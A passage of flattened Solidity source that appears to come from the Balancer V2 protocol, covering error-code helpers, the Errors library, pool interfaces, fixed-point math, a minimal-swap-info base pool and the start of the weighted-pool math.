* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
*
* WARNING: `token` is assumed to be a contract: calls to EOAs will *not* revert.
*/
function _callOptionalReturn(address token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
(bool success, bytes memory returndata) = token.call(data);
// If the low-level call didn't succeed we return whatever was returned from it.
assembly {
if eq(success, 0) {
returndatacopy(0, 0, returndatasize())
revert(0, returndatasize())
}
}
// Finally we check the returndata size is either zero or true - note that this check will always pass for EOAs
_require(returndata.length == 0 || abi.decode(returndata, (bool)), Errors.SAFE_ERC20_CALL_FAILED);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
// solhint-disable
/**
* @dev Reverts if `condition` is false, with a revert reason containing `errorCode`. Only codes up to 999 are
* supported.
*/
function _require(bool condition, uint256 errorCode) pure {
if (!condition) _revert(errorCode);
}
/**
* @dev Reverts with a revert reason containing `errorCode`. Only codes up to 999 are supported.
*/
function _revert(uint256 errorCode) pure {
// We're going to dynamically create a revert string based on the error code, with the following format:
// 'BAL#{errorCode}'
// where the code is left-padded with zeroes to three digits (so they range from 000 to 999).
//
// We don't have revert strings embedded in the contract to save bytecode size: it takes much less space to store a
// number (8 to 16 bits) than the individual string characters.
//
// The dynamic string creation algorithm that follows could be implemented in Solidity, but assembly allows for a
// much denser implementation, again saving bytecode size. Given this function unconditionally reverts, this is a
// safe place to rely on it without worrying about how its usage might affect e.g. memory contents.
assembly {
// First, we need to compute the ASCII representation of the error code. We assume that it is in the 0-999
// range, so we only need to convert three digits. To convert the digits to ASCII, we add 0x30, the value for
// the '0' character.
let units := add(mod(errorCode, 10), 0x30)
errorCode := div(errorCode, 10)
let tenths := add(mod(errorCode, 10), 0x30)
errorCode := div(errorCode, 10)
let hundreds := add(mod(errorCode, 10), 0x30)
// With the individual characters, we can now construct the full string. The "BAL#" part is a known constant
// (0x42414c23): we simply shift this by 24 (to provide space for the 3 bytes of the error code), and add the
// characters to it, each shifted by a multiple of 8.
// The revert reason is then shifted left by 200 bits (256 minus the length of the string, 7 characters * 8 bits
// per character = 56) to locate it in the most significant part of the 256 slot (the beginning of a byte
// array).
let revertReason := shl(200, add(0x42414c23000000, add(add(units, shl(8, tenths)), shl(16, hundreds))))
// We can now encode the reason in memory, which can be safely overwritten as we're about to revert. The encoded
// message will have the following layout:
// [ revert reason identifier ] [ string location offset ] [ string length ] [ string contents ]
// The Solidity revert reason identifier is 0x08c739a0, the function selector of the Error(string) function. We
// also write zeroes to the next 28 bytes of memory, but those are about to be overwritten.
mstore(0x0, 0x08c379a000000000000000000000000000000000000000000000000000000000)
// Next is the offset to the location of the string, which will be placed immediately after (20 bytes away).
mstore(0x04, 0x0000000000000000000000000000000000000000000000000000000000000020)
// The string length is fixed: 7 characters.
mstore(0x24, 7)
// Finally, the string itself is stored.
mstore(0x44, revertReason)
// Even if the string is only 7 bytes long, we need to return a full 32 byte slot containing it. The length of
// the encoded message is therefore 4 + 32 + 32 + 32 = 100.
revert(0, 100)
}
}
library Errors {
// Math
uint256 internal constant ADD_OVERFLOW = 0;
uint256 internal constant SUB_OVERFLOW = 1;
uint256 internal constant SUB_UNDERFLOW = 2;
uint256 internal constant MUL_OVERFLOW = 3;
uint256 internal constant ZERO_DIVISION = 4;
uint256 internal constant DIV_INTERNAL = 5;
uint256 internal constant X_OUT_OF_BOUNDS = 6;
uint256 internal constant Y_OUT_OF_BOUNDS = 7;
uint256 internal constant PRODUCT_OUT_OF_BOUNDS = 8;
uint256 internal constant INVALID_EXPONENT = 9;
// Input
uint256 internal constant OUT_OF_BOUNDS = 100;
uint256 internal constant UNSORTED_ARRAY = 101;
uint256 internal constant UNSORTED_TOKENS = 102;
uint256 internal constant INPUT_LENGTH_MISMATCH = 103;
uint256 internal constant ZERO_TOKEN = 104;
// Shared pools
uint256 internal constant MIN_TOKENS = 200;
uint256 internal constant MAX_TOKENS = 201;
uint256 internal constant MAX_SWAP_FEE_PERCENTAGE = 202;
uint256 internal constant MIN_SWAP_FEE_PERCENTAGE = 203;
uint256 internal constant MINIMUM_BPT = 204;
uint256 internal constant CALLER_NOT_VAULT = 205;
uint256 internal constant UNINITIALIZED = 206;
uint256 internal constant BPT_IN_MAX_AMOUNT = 207;
uint256 internal constant BPT_OUT_MIN_AMOUNT = 208;
uint256 internal constant EXPIRED_PERMIT = 209;
// Pools
uint256 internal constant MIN_AMP = 300;
uint256 internal constant MAX_AMP = 301;
uint256 internal constant MIN_WEIGHT = 302;
uint256 internal constant MAX_STABLE_TOKENS = 303;
uint256 internal constant MAX_IN_RATIO = 304;
uint256 internal constant MAX_OUT_RATIO = 305;
uint256 internal constant MIN_BPT_IN_FOR_TOKEN_OUT = 306;
uint256 internal constant MAX_OUT_BPT_FOR_TOKEN_IN = 307;
uint256 internal constant NORMALIZED_WEIGHT_INVARIANT = 308;
uint256 internal constant INVALID_TOKEN = 309;
uint256 internal constant UNHANDLED_JOIN_KIND = 310;
uint256 internal constant ZERO_INVARIANT = 311;
// Lib
uint256 internal constant REENTRANCY = 400;
uint256 internal constant SENDER_NOT_ALLOWED = 401;
uint256 internal constant PAUSED = 402;
uint256 internal constant PAUSE_WINDOW_EXPIRED = 403;
uint256 internal constant MAX_PAUSE_WINDOW_DURATION = 404;
uint256 internal constant MAX_BUFFER_PERIOD_DURATION = 405;
uint256 internal constant INSUFFICIENT_BALANCE = 406;
uint256 internal constant INSUFFICIENT_ALLOWANCE = 407;
uint256 internal constant ERC20_TRANSFER_FROM_ZERO_ADDRESS = 408;
uint256 internal constant ERC20_TRANSFER_TO_ZERO_ADDRESS = 409;
uint256 internal constant ERC20_MINT_TO_ZERO_ADDRESS = 410;
uint256 internal constant ERC20_BURN_FROM_ZERO_ADDRESS = 411;
uint256 internal constant ERC20_APPROVE_FROM_ZERO_ADDRESS = 412;
uint256 internal constant ERC20_APPROVE_TO_ZERO_ADDRESS = 413;
uint256 internal constant ERC20_TRANSFER_EXCEEDS_ALLOWANCE = 414;
uint256 internal constant ERC20_DECREASED_ALLOWANCE_BELOW_ZERO = 415;
uint256 internal constant ERC20_TRANSFER_EXCEEDS_BALANCE = 416;
uint256 internal constant ERC20_BURN_EXCEEDS_ALLOWANCE = 417;
uint256 internal constant SAFE_ERC20_CALL_FAILED = 418;
uint256 internal constant ADDRESS_INSUFFICIENT_BALANCE = 419;
uint256 internal constant ADDRESS_CANNOT_SEND_VALUE = 420;
uint256 internal constant SAFE_CAST_VALUE_CANT_FIT_INT256 = 421;
uint256 internal constant GRANT_SENDER_NOT_ADMIN = 422;
uint256 internal constant REVOKE_SENDER_NOT_ADMIN = 423;
uint256 internal constant RENOUNCE_SENDER_NOT_ALLOWED = 424;
uint256 internal constant BUFFER_PERIOD_EXPIRED = 425;
// Vault
uint256 internal constant INVALID_POOL_ID = 500;
uint256 internal constant CALLER_NOT_POOL = 501;
uint256 internal constant SENDER_NOT_ASSET_MANAGER = 502;
uint256 internal constant USER_DOESNT_ALLOW_RELAYER = 503;
uint256 internal constant INVALID_SIGNATURE = 504;
uint256 internal constant EXIT_BELOW_MIN = 505;
uint256 internal constant JOIN_ABOVE_MAX = 506;
uint256 internal constant SWAP_LIMIT = 507;
uint256 internal constant SWAP_DEADLINE = 508;
uint256 internal constant CANNOT_SWAP_SAME_TOKEN = 509;
uint256 internal constant UNKNOWN_AMOUNT_IN_FIRST_SWAP = 510;
uint256 internal constant MALCONSTRUCTED_MULTIHOP_SWAP = 511;
uint256 internal constant INTERNAL_BALANCE_OVERFLOW = 512;
uint256 internal constant INSUFFICIENT_INTERNAL_BALANCE = 513;
uint256 internal constant INVALID_ETH_INTERNAL_BALANCE = 514;
uint256 internal constant INVALID_POST_LOAN_BALANCE = 515;
uint256 internal constant INSUFFICIENT_ETH = 516;
uint256 internal constant UNALLOCATED_ETH = 517;
uint256 internal constant ETH_TRANSFER = 518;
uint256 internal constant CANNOT_USE_ETH_SENTINEL = 519;
uint256 internal constant TOKENS_MISMATCH = 520;
uint256 internal constant TOKEN_NOT_REGISTERED = 521;
uint256 internal constant TOKEN_ALREADY_REGISTERED = 522;
uint256 internal constant TOKENS_ALREADY_SET = 523;
uint256 internal constant TOKENS_LENGTH_MUST_BE_2 = 524;
uint256 internal constant NONZERO_TOKEN_BALANCE = 525;
uint256 internal constant BALANCE_TOTAL_OVERFLOW = 526;
uint256 internal constant POOL_NO_TOKENS = 527;
uint256 internal constant INSUFFICIENT_FLASH_LOAN_BALANCE = 528;
// Fees
uint256 internal constant SWAP_FEE_PERCENTAGE_TOO_HIGH = 600;
uint256 internal constant FLASH_LOAN_FEE_PERCENTAGE_TOO_HIGH = 601;
uint256 internal constant INSUFFICIENT_FLASH_LOAN_FEE_AMOUNT = 602;
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
interface IAuthentication {
/**
* @dev Returns the action identifier associated with the external function described by `selector`.
*/
function getActionId(bytes4 selector) external view returns (bytes32);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "./IVault.sol";
import "./IPoolSwapStructs.sol";
/**
* @dev Interface for adding and removing liquidity that all Pool contracts should implement. Note that this is not
* the complete Pool contract interface, as it is missing the swap hooks. Pool contracts should also inherit from
* either IGeneralPool or IMinimalSwapInfoPool
*/
interface IBasePool is IPoolSwapStructs {
/**
* @dev Called by the Vault when a user calls `IVault.joinPool` to add liquidity to this Pool. Returns how many of
* each registered token the user should provide, as well as the amount of protocol fees the Pool owes to the Vault.
* The Vault will then take tokens from `sender` and add them to the Pool's balances, as well as collect
* the reported amount in protocol fees, which the pool should calculate based on `protocolSwapFeePercentage`.
*
* Protocol fees are reported and charged on join events so that the Pool is free of debt whenever new users join.
*
* `sender` is the account performing the join (from which tokens will be withdrawn), and `recipient` is the account
* designated to receive any benefits (typically pool shares). `currentBalances` contains the total balances
* for each token the Pool registered in the Vault, in the same order that `IVault.getPoolTokens` would return.
*
* `lastChangeBlock` is the last block in which *any* of the Pool's registered tokens last changed its total
* balance.
*
* `userData` contains any pool-specific instructions needed to perform the calculations, such as the type of
* join (e.g., proportional given an amount of pool shares, single-asset, multi-asset, etc.)
*
* Contracts implementing this function should check that the caller is indeed the Vault before performing any
* state-changing operations, such as minting pool shares.
*/
function onJoinPool(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData
) external returns (uint256[] memory amountsIn, uint256[] memory dueProtocolFeeAmounts);
/**
* @dev Called by the Vault when a user calls `IVault.exitPool` to remove liquidity from this Pool. Returns how many
* tokens the Vault should deduct from the Pool's balances, as well as the amount of protocol fees the Pool owes
* to the Vault. The Vault will then take tokens from the Pool's balances and send them to `recipient`,
* as well as collect the reported amount in protocol fees, which the Pool should calculate based on
* `protocolSwapFeePercentage`.
*
* Protocol fees are charged on exit events to guarantee that users exiting the Pool have paid their share.
*
* `sender` is the account performing the exit (typically the pool shareholder), and `recipient` is the account
* to which the Vault will send the proceeds. `currentBalances` contains the total token balances for each token
* the Pool registered in the Vault, in the same order that `IVault.getPoolTokens` would return.
*
* `lastChangeBlock` is the last block in which *any* of the Pool's registered tokens last changed its total
* balance.
*
* `userData` contains any pool-specific instructions needed to perform the calculations, such as the type of
* exit (e.g., proportional given an amount of pool shares, single-asset, multi-asset, etc.)
*
* Contracts implementing this function should check that the caller is indeed the Vault before performing any
* state-changing operations, such as burning pool shares.
*/
function onExitPool(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData
) external returns (uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "../../lib/openzeppelin/IERC20.sol";
import "./IVault.sol";
interface IPoolSwapStructs {
// This is not really an interface - it just defines common structs used by other interfaces: IGeneralPool and
// IMinimalSwapInfoPool.
//
// This data structure represents a request for a token swap, where `kind` indicates the swap type ('given in' or
// 'given out') which indicates whether or not the amount sent by the pool is known.
//
// The pool receives `tokenIn` and sends `tokenOut`. `amount` is the number of `tokenIn` tokens the pool will take
// in, or the number of `tokenOut` tokens the Pool will send out, depending on the given swap `kind`.
//
// All other fields are not strictly necessary for most swaps, but are provided to support advanced scenarios in
// some Pools.
//
// `poolId` is the ID of the Pool involved in the swap - this is useful for Pool contracts that implement more than
// one Pool.
//
// The meaning of `lastChangeBlock` depends on the Pool specialization:
// - Two Token or Minimal Swap Info: the last block in which either `tokenIn` or `tokenOut` changed its total
// balance.
// - General: the last block in which *any* of the Pool's registered tokens changed its total balance.
//
// `from` is the origin address for the funds the Pool receives, and `to` is the destination address
// where the Pool sends the outgoing tokens.
//
// `userData` is extra data provided by the caller - typically a signature from a trusted party.
struct SwapRequest {
IVault.SwapKind kind;
IERC20 tokenIn;
IERC20 tokenOut;
uint256 amount;
// Misc data
bytes32 poolId;
uint256 lastChangeBlock;
address from;
address to;
bytes userData;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "./LogExpMath.sol";
import "../helpers/BalancerErrors.sol";
/* solhint-disable private-vars-leading-underscore */
library FixedPoint {
uint256 internal constant ONE = 1e18; // 18 decimal places
uint256 internal constant MAX_POW_RELATIVE_ERROR = 10000; // 10^(-14)
// Minimum base for the power function when the exponent is 'free' (larger than ONE).
uint256 internal constant MIN_POW_BASE_FREE_EXPONENT = 0.7e18;
function add(uint256 a, uint256 b) internal pure returns (uint256) {
// Fixed Point addition is the same as regular checked addition
uint256 c = a + b;
_require(c >= a, Errors.ADD_OVERFLOW);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
// Fixed Point addition is the same as regular checked addition
_require(b <= a, Errors.SUB_OVERFLOW);
uint256 c = a - b;
return c;
}
function mulDown(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 product = a * b;
_require(a == 0 || product / a == b, Errors.MUL_OVERFLOW);
return product / ONE;
}
function mulUp(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 product = a * b;
_require(a == 0 || product / a == b, Errors.MUL_OVERFLOW);
if (product == 0) {
return 0;
} else {
// The traditional divUp formula is:
// divUp(x, y) := (x + y - 1) / y
// To avoid intermediate overflow in the addition, we distribute the division and get:
// divUp(x, y) := (x - 1) / y + 1
// Note that this requires x != 0, which we already tested for.
return ((product - 1) / ONE) + 1;
}
}
function divDown(uint256 a, uint256 b) internal pure returns (uint256) {
_require(b != 0, Errors.ZERO_DIVISION);
if (a == 0) {
return 0;
} else {
uint256 aInflated = a * ONE;
_require(aInflated / a == ONE, Errors.DIV_INTERNAL); // mul overflow
return aInflated / b;
}
}
function divUp(uint256 a, uint256 b) internal pure returns (uint256) {
_require(b != 0, Errors.ZERO_DIVISION);
if (a == 0) {
return 0;
} else {
uint256 aInflated = a * ONE;
_require(aInflated / a == ONE, Errors.DIV_INTERNAL); // mul overflow
// The traditional divUp formula is:
// divUp(x, y) := (x + y - 1) / y
// To avoid intermediate overflow in the addition, we distribute the division and get:
// divUp(x, y) := (x - 1) / y + 1
// Note that this requires x != 0, which we already tested for.
return ((aInflated - 1) / b) + 1;
}
}
/**
* @dev Returns x^y, assuming both are fixed point numbers, rounding down. The result is guaranteed to not be above
* the true value (that is, the error function expected - actual is always positive).
*/
function powDown(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 raw = LogExpMath.pow(x, y);
uint256 maxError = add(mulUp(raw, MAX_POW_RELATIVE_ERROR), 1);
if (raw < maxError) {
return 0;
} else {
return sub(raw, maxError);
}
}
/**
* @dev Returns x^y, assuming both are fixed point numbers, rounding up. The result is guaranteed to not be below
* the true value (that is, the error function expected - actual is always negative).
*/
function powUp(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 raw = LogExpMath.pow(x, y);
uint256 maxError = add(mulUp(raw, MAX_POW_RELATIVE_ERROR), 1);
return add(raw, maxError);
}
/**
* @dev Returns the complement of a value (1 - x), capped to 0 if x is larger than 1.
*
* Useful when computing the complement for values with some level of relative error, as it strips this error and
* prevents intermediate negative values.
*/
function complement(uint256 x) internal pure returns (uint256) {
return (x < ONE) ? (ONE - x) : 0;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "./BasePool.sol";
import "../vault/interfaces/IMinimalSwapInfoPool.sol";
/**
* @dev Extension of `BasePool`, adding a handler for `IMinimalSwapInfoPool.onSwap`.
*
* Derived contracts must implement `_onSwapGivenIn` and `_onSwapGivenOut` along with `BasePool`'s virtual functions.
*/
abstract contract BaseMinimalSwapInfoPool is IMinimalSwapInfoPool, BasePool {
constructor(
IVault vault,
string memory name,
string memory symbol,
IERC20[] memory tokens,
uint256 swapFeePercentage,
uint256 pauseWindowDuration,
uint256 bufferPeriodDuration,
address owner
)
BasePool(
vault,
tokens.length == 2 ? IVault.PoolSpecialization.TWO_TOKEN : IVault.PoolSpecialization.MINIMAL_SWAP_INFO,
name,
symbol,
tokens,
swapFeePercentage,
pauseWindowDuration,
bufferPeriodDuration,
owner
)
{
// solhint-disable-previous-line no-empty-blocks
}
// Swap Hooks
function onSwap(
SwapRequest memory request,
uint256 balanceTokenIn,
uint256 balanceTokenOut
) external view virtual override returns (uint256) {
uint256 scalingFactorTokenIn = _scalingFactor(request.tokenIn);
uint256 scalingFactorTokenOut = _scalingFactor(request.tokenOut);
if (request.kind == IVault.SwapKind.GIVEN_IN) {
// Fees are subtracted before scaling, to reduce the complexity of the rounding direction analysis.
request.amount = _subtractSwapFeeAmount(request.amount);
// All token amounts are upscaled.
balanceTokenIn = _upscale(balanceTokenIn, scalingFactorTokenIn);
balanceTokenOut = _upscale(balanceTokenOut, scalingFactorTokenOut);
request.amount = _upscale(request.amount, scalingFactorTokenIn);
uint256 amountOut = _onSwapGivenIn(request, balanceTokenIn, balanceTokenOut);
// amountOut tokens are exiting the Pool, so we round down.
return _downscaleDown(amountOut, scalingFactorTokenOut);
} else {
// All token amounts are upscaled.
balanceTokenIn = _upscale(balanceTokenIn, scalingFactorTokenIn);
balanceTokenOut = _upscale(balanceTokenOut, scalingFactorTokenOut);
request.amount = _upscale(request.amount, scalingFactorTokenOut);
uint256 amountIn = _onSwapGivenOut(request, balanceTokenIn, balanceTokenOut);
// amountIn tokens are entering the Pool, so we round up.
amountIn = _downscaleUp(amountIn, scalingFactorTokenIn);
// Fees are added after scaling happens, to reduce the complexity of the rounding direction analysis.
return _addSwapFeeAmount(amountIn);
}
}
/*
* @dev Called when a swap with the Pool occurs, where the amount of tokens entering the Pool is known.
*
* Returns the amount of tokens that will be taken from the Pool in return.
*
* All amounts inside `swapRequest`, `balanceTokenIn` and `balanceTokenOut` are upscaled. The swap fee has already
* been deducted from `swapRequest.amount`.
*
* The return value is also considered upscaled, and will be downscaled (rounding down) before returning it to the
* Vault.
*/
function _onSwapGivenIn(
SwapRequest memory swapRequest,
uint256 balanceTokenIn,
uint256 balanceTokenOut
) internal view virtual returns (uint256);
/*
* @dev Called when a swap with the Pool occurs, where the amount of tokens exiting the Pool is known.
*
* Returns the amount of tokens that will be granted to the Pool in return.
*
* All amounts inside `swapRequest`, `balanceTokenIn` and `balanceTokenOut` are upscaled.
*
* The return value is also considered upscaled, and will be downscaled (rounding up) before applying the swap fee
* and returning it to the Vault.
*/
function _onSwapGivenOut(
SwapRequest memory swapRequest,
uint256 balanceTokenIn,
uint256 balanceTokenOut
) internal view virtual returns (uint256);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "../../lib/math/FixedPoint.sol";
import "../../lib/math/Math.sol";
import "../../lib/helpers/InputHelpers.sol";
/* solhint-disable private-vars-leading-underscore */
contract WeightedMath {
using FixedPoint for uint256;
// A minimum normalized weight imposes a maximum weight ratio. We need this due to limitations in the
// implementation of the power function, as these ratios are often exponents.
uint256 internal constant _MIN_WEIGHT = 0.01e18;
// Having a minimum normalized weight imposes a limit on the maximum number of tokens;
// i.e., the largest possible pool is one where all tokens have exactly the minimum weight.
uint256 internal constant _MAX_WEIGHTED_TOKENS = 100;
// Pool limits that arise from limitations in the fixed point power function (and the imposed 1:100 maximum weight
// ratio).
// Swap limits: amounts swapped may not be larger than this percentage of total balance.
uint256 internal constant _MAX_IN_RATIO = 0.3e18;
uint256 internal constant _MAX_OUT_RATIO = 0.3e18;
// Invariant growth limit: non-proportional joins cannot cause the invariant to increase by more than this ratio.
uint256 internal constant _MAX_INVARIANT_RATIO = 3e18;
// Invariant shrink limit: non-proportional exits cannot cause the invariant to decrease by less than this ratio.
uint256 internal constant _MIN_INVARIANT_RATIO = 0.7e18;
// Invariant is used to collect protocol swap fees by comparing its value between two times.
// So we can round always to the same direction. It is also used to initiate the BPT amount
// and, because there is a minimum BPT, we round down the invariant.
function _calculateInvariant(uint256[] memory normalizedWeights, uint256[] memory balances)
internal
pure
returns (uint256 invariant)
{
/**********************************************************************************************
// invariant _____ //
// wi = weight index i | | wi //
// bi = balance index i | | bi ^ = i //
// i = invariant //
**********************************************************************************************/
invariant = FixedPoint.ONE;
for (uint256 i = 0; i < normalizedWeights.length; i++) {
invariant = invariant.mulDown(balances[i].powDown(normalizedWeights[i]));
}
_require(invariant > 0, Errors.ZERO_INVARIANT);
}
// Computes how many tokens can be taken out of a pool if `amountIn` are sent, given the
// current balances and weights.
function _calcOutGivenIn(
uint256 balanceIn,
uint256 weightIn,
uint256 balanceOut,
uint256 weightOut,
uint256 amountIn
) internal pure returns (uint256) {
/**********************************************************************************************
// outGivenIn //
// aO = amountOut //
// bO = balanceOut //
// bI = balanceIn / / bI \ (wI / wO) \ //
// aI = amountIn aO = bO * | 1 - | -------------------------- | ^ | //
// wI = weightIn \ \ ( bI + aI ) / / //
// wO = weightOut //
**********************************************************************************************/
// Amount out, so we round down overall.
// The multiplication rounds down, and the subtrahend (power) rounds up (so the base rounds up too).
// Because bI / (bI + aI) <= 1, the exponent rounds down.
// Cannot exceed maximum in ratio
_require(amountIn <= balanceIn.mulDown(_MAX_IN_RATIO), Errors.MAX_IN_RATIO);
uint256 denominator = balanceIn.add(amountIn);
uint256 base = balanceIn.divUp(denominator);
uint256 exponent = weightIn.divDown(weightOut);
uint256 power = base.powUp(exponent);
return balanceOut.mulDown(power.complement());
}
// Computes how many tokens must be sent to a pool in order to take `amountOut`, given the
// current balances and weights.
function _calcInGivenOut(
uint256 balanceIn,
uint256 weightIn,
uint256 balanceOut,
uint256 weightOut,
uint256 amountOut
) internal pure returns (uint256) {
/**********************************************************************************************
// inGivenOut //
// aO = amountOut //
// bO = balanceOut //
// bI = balanceIn / / bO \ (wO / wI) \ //
// aI = amountIn aI = bI * | | -------------------------- | ^ - 1 | //
// wI = weightIn \ \ ( bO - aO ) / / //
// wO = weightOut //
**********************************************************************************************/
// Amount in, so we round up overall.
// The multiplication rounds up, and the power rounds up (so the base rounds up too).
// Because b0 / (b0 - a0) >= 1, the exponent rounds up.
// Cannot exceed maximum out ratio
_require(amountOut <= balanceOut.mulDown(_MAX_OUT_RATIO), Errors.MAX_OUT_RATIO);
uint256 base = balanceOut.divUp(balanceOut.sub(amountOut));
uint256 exponent = weightOut.divUp(weightIn);
uint256 power = base.powUp(exponent);
// Because the base is larger than one (and the power rounds up), the power should always be larger than one, so
// the following subtraction should never revert.
uint256 ratio = power.sub(FixedPoint.ONE);
return balanceIn.mulUp(ratio);
}
function _calcBptOutGivenExactTokensIn(
uint256[] memory balances,
uint256[] memory normalizedWeights,
uint256[] memory amountsIn,
uint256 bptTotalSupply,
uint256 swapFee
) internal pure returns (uint256) {
// BPT out, so we round down overall.
uint256[] memory balanceRatiosWithFee = new uint256[](amountsIn.length);
uint256 invariantRatioWithFees = 0;
for (uint256 i = 0; i < balances.length; i++) {
balanceRatiosWithFee[i] = balances[i].add(amountsIn[i]).divDown(balances[i]);
invariantRatioWithFees = invariantRatioWithFees.add(balanceRatiosWithFee[i].mulDown(normalizedWeights[i]));
}
uint256 invariantRatio = FixedPoint.ONE;
for (uint256 i = 0; i < balances.length; i++) {
uint256 amountInWithoutFee;
if (balanceRatiosWithFee[i] > invariantRatioWithFees) {
uint256 nonTaxableAmount = balances[i].mulDown(invariantRatioWithFees.sub(FixedPoint.ONE));
uint256 taxableAmount = amountsIn[i].sub(nonTaxableAmount);
amountInWithoutFee = nonTaxableAmount.add(taxableAmount.mulDown(FixedPoint.ONE.sub(swapFee)));
} else {
amountInWithoutFee = amountsIn[i];
}
uint256 balanceRatio = balances[i].add(amountInWithoutFee).divDown(balances[i]);
invariantRatio = invariantRatio.mulDown(balanceRatio.powDown(normalizedWeights[i]));
}
if (invariantRatio >= FixedPoint.ONE) {
return bptTotalSupply.mulDown(invariantRatio.sub(FixedPoint.ONE));
} else {
return 0;
}
}
function _calcTokenInGivenExactBptOut(
uint256 balance,
uint256 normalizedWeight,
uint256 bptAmountOut,
uint256 bptTotalSupply,
uint256 swapFee
) internal pure returns (uint256) {
/******************************************************************************************
// tokenInForExactBPTOut //
// a = amountIn //
// b = balance / / totalBPT + bptOut \ (1 / w) \ //
// bptOut = bptAmountOut a = b * | | -------------------------- | ^ - 1 | //
// bpt = totalBPT \ \ totalBPT / / //
// w = weight //
******************************************************************************************/
// Token in, so we round up overall.
// Calculate the factor by which the invariant will increase after minting BPTAmountOut
uint256 invariantRatio = bptTotalSupply.add(bptAmountOut).divUp(bptTotalSupply);
_require(invariantRatio <= _MAX_INVARIANT_RATIO, Errors.MAX_OUT_BPT_FOR_TOKEN_IN);
// Calculate by how much the token balance has to increase to match the invariantRatio
uint256 balanceRatio = invariantRatio.powUp(FixedPoint.ONE.divUp(normalizedWeight));
uint256 amountInWithoutFee = balance.mulUp(balanceRatio.sub(FixedPoint.ONE));
// We can now compute how much extra balance is being deposited and used in virtual swaps, and charge swap fees
// accordingly.
uint256 taxablePercentage = normalizedWeight.complement();
uint256 taxableAmount = amountInWithoutFee.mulUp(taxablePercentage);
uint256 nonTaxableAmount = amountInWithoutFee.sub(taxableAmount);
return nonTaxableAmount.add(taxableAmount.divUp(swapFee.complement()));
}
function _calcBptInGivenExactTokensOut(
uint256[] memory balances,
uint256[] memory normalizedWeights,
uint256[] memory amountsOut,
uint256 bptTotalSupply,
uint256 swapFee
) internal pure returns (uint256) {
// BPT in, so we round up overall.
uint256[] memory balanceRatiosWithoutFee = new uint256[](amountsOut.length);
uint256 invariantRatioWithoutFees = 0;
for (uint256 i = 0; i < balances.length; i++) {
